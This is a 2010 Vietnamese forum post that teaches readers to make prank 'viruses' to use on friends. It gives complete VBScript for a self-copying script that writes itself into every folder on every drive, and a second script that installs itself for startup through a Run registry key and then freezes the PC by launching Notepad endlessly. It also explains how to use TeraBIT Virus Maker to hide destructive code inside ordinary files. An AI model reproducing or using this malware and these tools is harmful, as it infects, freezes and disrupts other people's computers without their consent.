View Single Post
Old 08-31-2010, 07:36 PM   #2
duyniceboy
Super Moderator
 
duyniceboy's Avatar
 
Tham gia: May 2010
Đến từ: HCM
Bài gửi: 1,804
Default

P2:
Tạo virus nhân file

Đầu tiên để tạo virut giả trêu người khác
Bạn vào Start => Run => gõ "NOTEPAD" sau đó nhấn Enter rồi chép đoạn này vào:

'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub

Rồi nhấn Ctrl + S => Save lại với tên là: Thuoc_Doc.vbs
nhớ đuôi phải là .VBS nha
chỉ cần chạy file này là "Tràn ngập Virus !"

Còn đây là file thuốc giải:



'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub

cũng lưu lại như trên với tên : Thuoc_Giai.vbs
nhớ là vbs là đuôi chứ ko phải tên.

Tiếp theo
Bạn mở notepad lên chép đoạn mã sau vào:

On Error Resume Next
Set popo= Createobject("scripting.filesystemobject")
popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"
Set popo2= CreateObject("WScript.Shell")
popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n\cod e1","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"
Set treomay= CreateObject("WScript.Shell")
Do
treomay.run "notepad",false
loop

cái này sẽ làm máy bị treo

lưu lại với tên jì cũng đc nhưng với đuôi là ".vbs"
Ví Dụ: treomay.vbs

muốn sửa thì chỉ cần Restart là OK

Tiếp tục với phần mềm

Bạn muốn dọa thằng bạn ngốc của mình bằng virus ư ? nhưng virus ở đâu ra đây, lỡ chạy hư máy nó bắt đền thì sao đây ?
Phần mềm tạo virus ảo
The Ultimate Virus là chương trình giả virus giúp bạn lừa được họ.

Đặc tính của nó là không hại máy tính mà chỉ đưa ra các cảnh báo giả để hù dọa mà thôi, không có lây lan đâu. Từ từ khám phá nhé.

Lưu ý nếu sợ quá thì bấm nút Reset trên thùng máy hoặc Ctrl Alt Del là xong. Chúc nghịch virus vui vẻ.
Link : http://www.mediafire.com/?zzhz03mwwdm

Phầm mềm cuối cùng TeraBIT Virus Maker 2.8 SE

Cách sử dụng khá đơn giản
- Chọn Brinder, tìm file bất kì nào đó làm mục tiêu trong khung Browser (file này có thể là text, hình ảnh, nhạc, file cài đặt...)
- Chọn các chiêu thức phá rối bên khung trái - Chọn (hay không tùy bạn) Fake Error Message và gõ thông báo thể hiện tùy ý khi virus tấn công
- Chọn tên file virus khi "ra lò" trong khung file Name...
- Chọn icon giả danh trong file Icon
- Nhấn Create Virus để sản xuất 'thành phẩm" > Các mã phá hoại sẽ được cài ngầm vào file mục tiêu và sẽ hoạt động khi file này được chạy.
-Save Settings để ghi nhớ lại các lựa chọn, Load settings để lấy lại các lựa chọn đã cất giữ.

Link : http://www.mediafire.com/?mkyyugwj4d5

Lưu Ý : Đây đều là các loại Virus cũ nên các bác có thể quét vô tư bằng Bkav, Kas,Avira ...Nếu muốn sửa chữa thì dùng VN Fix của bệnh viện

thay đổi nội dung bởi: duyniceboy, 08-31-2010 lúc 07:50 PM
duyniceboy is offline   Trả Lời Với Trích Dẫn